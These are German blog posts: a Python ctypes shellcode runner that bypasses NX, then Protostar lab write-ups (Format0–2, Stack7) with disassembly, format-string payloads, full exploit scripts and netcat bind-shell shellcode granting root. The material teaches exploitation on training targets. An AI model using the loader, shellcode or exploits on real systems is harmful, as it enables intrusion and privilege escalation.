Shellcode mittels Python ausführen

Python power

Die letzten Tage fragte ich mich schon des Öfteren ob es möglich sei, Shellcode mittels Python auszuführen. Anscheined war ich mit dieser Frage nicht alleine, sodass ich mich auf der Suche begab und fündig wurde. Mittels ctypes ist es möglich Shellcode, dank der libc, direkt auszuführen.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ctypes import CDLL, c_char_p, c_void_p, \
	memmove, cast, CFUNCTYPE

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = (
	b"\x31\xc0\x48\xbb\xd1\x9d\x96"
	b"\x91\xd0\x8c\x97\xff\x48\xf7"
	b"\xdb\x53\x54\x5f\x99\x52\x57"
	b"\x54\x5e\xb0\x3b\x0f\x05"
)

if __name__ == "__main__":
	print("len = %d" % len(shellcode))
	libc = CDLL('libc.so.6')

	sc = c_char_p(shellcode)
	size = len(shellcode)
	addr = c_void_p(libc.valloc(size))
	memmove(addr, sc, size)
	libc.mprotect(addr, size, 0x7)

	run = cast(addr, CFUNCTYPE(c_void_p))
	run()

Um eine Segmentation fault auf neueren Systemen zu entgehen, ist es notwendig auf den benötigten Speicherbereich gewisse Rechte “frei” zu räumen. Dies geschieht über die Funktion mprotect(). Diese Maßnahme ist notwendig, da neuere Systeme über das NX Bit verfügen. Dieses besagte Bit soll verhindern, dass beliebige Daten wie Programme ausgeführt werden und auf diese Weise Schadcode starten. Aber genau das ist das Ziel.

$ ./runshellcode.py
len = 27
sh-4.3$

Notiz

Das hier vorgestellte Python Skript funktioniert nur unter der Python-Umgebung 3.x. Unter der Python-Umgebung 2.x führt besagtes Skript zu einer Segmentation fault. Zusätzlich dient dieses Skript nur zur Testzwecken.

Referenzen

Exploit Exercises' Protostar - Format2

Format2

Die folgende Aufgabe: Format2 befasst sich, wie die Aufgabe Format1, mit dem verändern von Speicheradressen an einer beliebigen Stelle. Ziel dieser Aufgabe ist es den Wert von target, welches sich im Datensegment .BSS befindet dahin gehend zu manipulieren, das diese den Wert 64 annimmt. Wie bereits in Aufgabe Format1 erwähnt, befindet sich im .BSS nicht initialisierte globale Variablen.

0x08048454 <vuln+0>:    push   ebp
0x08048455 <vuln+1>:    mov    ebp,esp
0x08048457 <vuln+3>:    sub    esp,0x218
0x0804845d <vuln+9>:    mov    eax,ds:0x80496d8
0x08048462 <vuln+14>:   mov    DWORD PTR [esp+0x8],eax
0x08048466 <vuln+18>:   mov    DWORD PTR [esp+0x4],0x200
0x0804846e <vuln+26>:   lea    eax,[ebp-0x208]
0x08048474 <vuln+32>:   mov    DWORD PTR [esp],eax
0x08048477 <vuln+35>:   call   0x804835c <[email protected]>
0x0804847c <vuln+40>:   lea    eax,[ebp-0x208]
0x08048482 <vuln+46>:   mov    DWORD PTR [esp],eax
0x08048485 <vuln+49>:   call   0x804837c <[email protected]>
0x0804848a <vuln+54>:   mov    eax,ds:0x80496e4
0x0804848f <vuln+59>:   cmp    eax,0x40
0x08048492 <vuln+62>:   jne    0x80484a2 <vuln+78>
0x08048494 <vuln+64>:   mov    DWORD PTR [esp],0x8048590
0x0804849b <vuln+71>:   call   0x804838c <[email protected]>
0x080484a0 <vuln+76>:   jmp    0x80484b9 <vuln+101>
0x080484a2 <vuln+78>:   mov    edx,DWORD PTR ds:0x80496e4
0x080484a8 <vuln+84>:   mov    eax,0x80485b0
0x080484ad <vuln+89>:   mov    DWORD PTR [esp+0x4],edx
0x080484b1 <vuln+93>:   mov    DWORD PTR [esp],eax
0x080484b4 <vuln+96>:   call   0x804837c <[email protected]>
0x080484b9 <vuln+101>:  leave
0x080484ba <vuln+102>:  ret

Diese Aufgabe ist vom Prinzip relativ gleich zur Format1 Aufgabe. Auch hier ist es mittels dem $n -Flags möglich in printf(3)-Familienartigen C-Funktionen entsprechende Speicherstellen dahingehend zu schreiben das Sie zu einem Vorteil genutzt werden können. Wie bereits in Aufgabe: Format1 formuliert, ist der Schlüssel von Format String Vulnerabilities herraus zu finden, wie viele DWORDs zwischen der eigentlichen Speicherstelle, an welcher das $n-Flag auf dem Stack verarbeitet wird, und dem Benutzer Buffer liegt.

Damit das Ziel dieser Aufgabe erreicht werden kann, wird noch die Speicheradresse der nicht initialisierte globale Variablen target aus dem .BSS benötigt. Diese wird, wie in der Aufgabe zuvor, über das Tool objdump ermittelt:

$ objdump -t /opt/protostar/bin/format2 | grep target
080496e4 g     O .bss	00000004              target

Mit der ermittelten Speicheradresse der Variable target ist es nun möglich, mittels Brute-Force, den genauen Speicherbereich zu überschreiben. Somit lässt sich die Aufgabe: Format2 lösen.

$ python -c "print '\xe4\x96\x04\x08' + '%44x%x%x%n'" | ./format2
                                         200b7fd8420bffffaf4
you have modified the target :)

Notiz

Da das System von Protostar einer x86-Prozessor Architektur zugrunde liegt, müssen die Werte in little endian Reihenfolge vorliegen. Bei dieser Reihenfolge wird das kleinstwertige Byte an der Anfangsadresse gespeichert.

Literatur

  • [Eri09] Jon Erickson. Hacking - Die Kunst des Exploits. dpunkt.verlag, 2009. ISBN: 978-3898645362.
  • [Kle04] Tobias Klein. Buffer Overflows und Format-String-Schwachstellen - Funktionsweisen, Exploits und Gegenmaßnahmen. dpunkt.verlag, 2004. ISBN: 978-3898641920.

Referenzen

Exploit Exercises' Protostar - Format1

Format1

Die folgende Aufgabe: Format1 befasst sich mit dem verändern von Speicheradressen an einer beliebigen Stelle. Ziel dieser Aufgabe ist es den Wert von target, welches sich im Datensegment .BSS befindet zu manipulieren. An dieser Stelle befindet sich zuweilen nicht initialisierte globale Variablen. (vgl. [Kle04], S. 12)

0x080483f4 <vuln+0>:    push   ebp
0x080483f5 <vuln+1>:    mov    ebp,esp
0x080483f7 <vuln+3>:    sub    esp,0x18
0x080483fa <vuln+6>:    mov    eax,DWORD PTR [ebp+0x8]
0x080483fd <vuln+9>:    mov    DWORD PTR [esp],eax
0x08048400 <vuln+12>:   call   0x8048320 <[email protected]>
0x08048405 <vuln+17>:   mov    eax,ds:0x8049638
0x0804840a <vuln+22>:   test   eax,eax
0x0804840c <vuln+24>:   je     0x804841a <vuln+38>
0x0804840e <vuln+26>:   mov    DWORD PTR [esp],0x8048500
0x08048415 <vuln+33>:   call   0x8048330 <[email protected]>
0x0804841a <vuln+38>:   leave
0x0804841b <vuln+39>:   ret

Mittels dem $n -Flags ist es möglich in printf(3)-Familienartigen C-Funktionen entsprechende Speicherstellen dahingehend zu schreiben das Sie zu einem Vorteil genutzt werden können. Der Schlüssel von Format String Vulnerabilities ist herraus zu finden wie viele DWORDs zwischen der eigentlichen Speicherstelle, an welcher das $n-Flag auf dem Stack verarbeitet wird, und dem Benutzer Buffer liegt.

$ for i in {1..200};do echo "Offset($i) - `/opt/protostar/bin/format1 AAAAAAAA%$i\\$08x`"; done | grep 41414141
Offset(131) - AAAAAAAA41414141
Offset(132) - AAAAAAAA41414141

Die gesuchte Stelle befindet sich 131 DWORDs unterhalb des Stacks. Der mittels Brute-Force bestimmte Offset lässt sich relativ schnell überprüfen:

$ /opt/protostar/bin/format1 AAAAAAAA%131\$08x
AAAAAAAA41414141
$ /opt/protostar/bin/format1 AAAAAAAA%132\$08x
AAAAAAAA41414141

Dies bestätigt die oben genannten Aussage. Damit das Ziel dieser Aufgabe erreicht werden kann, wird noch die Speicheradresse der nicht initialisierte globale Variablen target aus dem .BSS benötigt. Diese wird über das Tool objdump ermittelt:

$ objdump -t /opt/protostar/bin/format1 | grep target
08049638 g     O .bss	00000004              target

Mit den ermittelten Daten, ist es möglich die Aufgabe: Format1 zu lösen.

$ ./format1 $(python -c 'print "\x38\x96\x04\x08"+"%132$08n"')
you have modified the target :)

Folgender Exploit nutzt den hier vorgestellten Umstand aus.

#!/usr/bin/env python

import os
import sys
import struct

def p(x):
	return struct.pack('<L', x)

def nops(size=1024):
	return '\\x90' * size

ret = p(0x08049638)
padding = '%132$08n'

payload = ret
payload += padding

def exploit(vuln):
	args = [vuln, payload]
	env = {"NULL":nops()}
	os.execve(vuln, args, env)

if __name__ == "__main__":
	if len(sys.argv) < 2:
		print "Usage: %s target_program" % sys.argv[0]
	else:
		exploit(sys.argv[1])

Notiz

Da das System von Protostar einer x86-Prozessor Architektur zugrunde liegt, müssen die Werte in little endian Reihenfolge vorliegen. Bei dieser Reihenfolge wird das kleinstwertige Byte an der Anfangsadresse gespeichert.

Der hier vorgestellte Exploit funktioniert nur unter der Python-Umgebung 2.x. Dies sollte aber unter der Protostar Umgebung keine weiteren Probleme bereiten.

Literatur

  • [Eri09] Jon Erickson. Hacking - Die Kunst des Exploits. dpunkt.verlag, 2009. ISBN: 978-3898645362.
  • [Kle04] Tobias Klein. Buffer Overflows und Format-String-Schwachstellen - Funktionsweisen, Exploits und Gegenmaßnahmen. dpunkt.verlag, 2004. ISBN: 978-3898641920.

Referenzen

Exploit Exercises' Protostar - Format0

Format0

Der zweite Teil der Exploit Exercises’ Protostar richtet sich an Format String Vulnerabilities. Hierbei wird das Problem der ungefilterten Benutzereingaben von C-Funktionen ausgenutzt:

Eine Format-String-Schwachstelle wird generell durch eine fehlerhafte bzw. vermeintlich zeitsparende Verwendung einer Funktion zur formatierten Ausgabe, wie beispielweise einer der ANSI-C-Funktionen der printf(3)-Familie, verursacht. ([Kle04], S. 463)

Mit dieser Technik ist es unter Umständen möglich den Programmfluss zu ändern. Ziel dieser Aufgabe ist es den Buffer dahingehend zufüllen, dass die Variable: target manipuliert wird und den Wert: 0xdeadbeef annimmt.

0x080483f4 <vuln+0>:    push   ebp
0x080483f5 <vuln+1>:    mov    ebp,esp
0x080483f7 <vuln+3>:    sub    esp,0x68
0x080483fa <vuln+6>:    mov    DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>:   mov    eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>:   mov    DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>:   lea    eax,[ebp-0x4c]
0x0804840b <vuln+23>:   mov    DWORD PTR [esp],eax
0x0804840e <vuln+26>:   call   0x8048300 <sp[email protected]>
0x08048413 <vuln+31>:   mov    eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>:   cmp    eax,0xdeadbeef
0x0804841b <vuln+39>:   jne    0x8048429 <vuln+53>
0x0804841d <vuln+41>:   mov    DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>:   call   0x8048330 <[email protected]>
0x08048429 <vuln+53>:   leave
0x0804842a <vuln+54>:   ret

Der Offset beträgt 64 Byte, dieser wird verwendet um den Buffer zufüllen. Eine Anforderung, welche von Exploit Exercises’ Protostar gestellt wird, ist es die Eingabe auf unter 10 Byte zuhalten um besagte Aufgabe zu lösen. Mittels Flags ist es möglich in printf(3)-Familienartigen C-Funktionen die Ausgabe entsprechend zu formatieren. Dies wird im folgenden ausgenutzt um die Anforderung der besagten 10 Byte Eingabe zu erfüllen.

$ ./format0 $(python -c "print '%64x' + '\xef\xbe\xad\xde'")
you have hit the target correctly :)

Folgender Exploit nutzt den hier vorgestellten Umstand aus.

#!/usr/bin/env python

import os
import sys
import struct

def p(x):
	return struct.pack('<L', x)

def nops(size=1024):
	return '\\x90' * size

ret = p(0xdeadbeef)
padding = '%64x'

payload = padding
payload += ret

def exploit(vuln):
	args = [vuln, payload]
	env = {"NULL":nops()}
	os.execve(vuln, args, env)

if __name__ == "__main__":
	if len(sys.argv) < 2:
		print "Usage: %s target_program" % sys.argv[0]
	else:
		exploit(sys.argv[1])

Notiz

Da das System von Protostar einer x86-Prozessor Architektur zugrunde liegt, müssen die Werte in little endian Reihenfolge vorliegen. Bei dieser Reihenfolge wird das kleinstwertige Byte an der Anfangsadresse gespeichert.

Der hier vorgestellte Exploit funktioniert nur unter der Python-Umgebung 2.x. Dies sollte aber unter der Protostar Umgebung keine weiteren Probleme bereiten.

Literatur

  • [Eri09] Jon Erickson. Hacking - Die Kunst des Exploits. dpunkt.verlag, 2009. ISBN: 978-3898645362.
  • [Kle04] Tobias Klein. Buffer Overflows und Format-String-Schwachstellen - Funktionsweisen, Exploits und Gegenmaßnahmen. dpunkt.verlag, 2004. ISBN: 978-3898641920.

Referenzen

Exploit Exercises' Protostar - Stack7

Stack7

Die Finale Aufgabe im Bereich Stack Buffer Overflow ist wie die Aufgabe Stack6 dahingehend eingeschränkt das es nicht möglich ist die Rücksprungadresse so zu manipulieren das diese im Stack-Bereich 0xbf?????? verläuft. Dies wird, wie in der Aufgabe zuvor, mittels der kleinen Überprüfung: if((ret & 0xbf000000) == 0xbf000000) realisiert. Ziel ist es eine möglichkeit zu finden, um in das .text Datensegment zurückzukehren.

...
0x080484ef <getpath+43>:        mov    eax,DWORD PTR [ebp+0x4]
0x080484f2 <getpath+46>:        mov    DWORD PTR [ebp-0xc],eax
0x080484f5 <getpath+49>:        mov    eax,DWORD PTR [ebp-0xc]
0x080484f8 <getpath+52>:        and    eax,0xb0000000
0x080484fd <getpath+57>:        cmp    eax,0xb0000000
0x08048502 <getpath+62>:        jne    0x8048524 <getpath+96>
...
0x08048538 <getpath+116>:       lea    eax,[ebp-0x4c]
0x0804853b <getpath+119>:       mov    DWORD PTR [esp],eax
0x0804853e <getpath+122>:       call   0x80483f4 <[email protected]>
0x08048543 <getpath+127>:       leave
0x08048544 <getpath+128>:       ret

Da der Aufbau der Binary identisch mit der aus Aufgabe Stack6 ist, werden 80 Byte Offset angenommen. Um diese These zu überprüfen wird hier zur Analysezwecke ein core dump verwendet.

$ ulimit -c unlimited
$ python -c "print 'A' * 80 + 'B' * 4" | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB
Segmentation fault (core dumped)
$ gdb -q -c core.11.stack7.3147
Core was generated by `./stack7'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) i r
eax            0x804a008        134520840
ecx            0x0      0
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff790       0xbffff790
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x42424242       0x42424242
eflags         0x10202  [ IF RF  ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Wie vermutet liegt der Offset bei 80 Byte. Mit den zusätzlichen 4 Byte 0x42424242, wurde der EIP wie erwartet überschrieben. Der Rückgabewert der Funktion: getpath() ist im EAX Register gespeichert.

Dies geschieht durch die Methode: strdup(), welche den Inhalt (buffer) in den Heap-Bereich speichert und einen Zeiger auf diese Speicheradresse zurückliefert. Somit befindet sich der Heap-Pointer im EAX Register.

(gdb) x/20x $eax
0x804a008:    0x41414141    0x41414141    0x41414141    0x41414141
0x804a018:    0x41414141    0x41414141    0x41414141    0x41414141
0x804a028:    0x41414141    0x41414141    0x41414141    0x41414141
0x804a038:    0x41414141    0x41414141    0x41414141    0x41414141
0x804a048:    0x42424242    0x41414141    0x41414141    0x41414141

Um dies zu nutzen wird eine Instruktion benötigt, welche zum Register EAX springt und den Shellcode aufruft. Zum Beispiel: call eax bzw. jmp eax.

$ objdump -M intel -d stack7 | grep "call.*eax"
 8048478:  ff 14 85 5c 96 04 08   call   DWORD PTR [eax*4+0x804965c]
 80484bf:  ff d0                  call   eax
 80485eb:  ff d0                  call   eax

Mittels dieser Erkenntnis ist es möglich die Payload aufzubauen und den EIP auf die Speicheradresse: 0x080484bf verweisen zulassen.

$ python -c "print '\x90' * 4 + '\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A' * (80-58-4) + '\xbf\x84\x04\x08'" | ./stack7
input path please: got path ▒▒▒▒1▒1▒Ph7771h-vp1▒▒Ph//shh/binh-le/▒▒Ph//nch/bin▒▒RVWS▒▒
      ̀AA▒AAAAAAAAAAAA▒▒
listening on [any] 17771 ...

In diesem Beispiel wird aus Demonstrationszwecken eine Shell, mittels dem Tool netcat, auf Port 17771 zur Verfügung gestellt. Dazu kam der Shellcode: Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode zum Einsatz.

$ nc 10.0.2.15 17771
whoami
root
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Folgender Exploit nutzt den hier vorgestellten Umstand aus.

#!/usr/bin/env python

import sys
import struct
from subprocess import *

def p(x):
	return struct.pack('<L', x)

def nops(size=1024):
	return '\\x90' * size

# http://shell-storm.org/shellcode/files/shellcode-872.php
shellcode = (
	"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68"
	"\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73"
	"\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f"
	"\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62"
	"\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0"
	"\x0b\xcd\x80"
)

ret = p(0x080484bf)
padding = 'A' * (80-len(shellcode)-4)

payload = nops(4)
payload += shellcode
payload += padding
payload += ret

def exploit():
	args = sys.argv[1:]
	P = Popen(args, stdin=PIPE, shell=True)
	P.stdin.write(payload + "\\n")
	P.poll()

if __name__ == "__main__":
	if len(sys.argv) < 2:
		print "Usage: %s target_program" % sys.argv[0]
	else:
		exploit()

Notiz

Da das System von Protostar einer x86-Prozessor Architektur zugrunde liegt, müssen die Werte in little endian Reihenfolge vorliegen. Bei dieser Reihenfolge wird das kleinstwertige Byte an der Anfangsadresse gespeichert.

Literatur

  • Jon Erickson. Hacking - Die Kunst des Exploits. dpunkt.verlag, 2009. ISBN: 978-3898645362.
  • Tobias Klein. Buffer Overflows und Format-String-Schwachstellen - Funktionsweisen, Exploits und Gegenmaßnahmen. dpunkt.verlag, 2004. ISBN: 978-3898641920.

Referenzen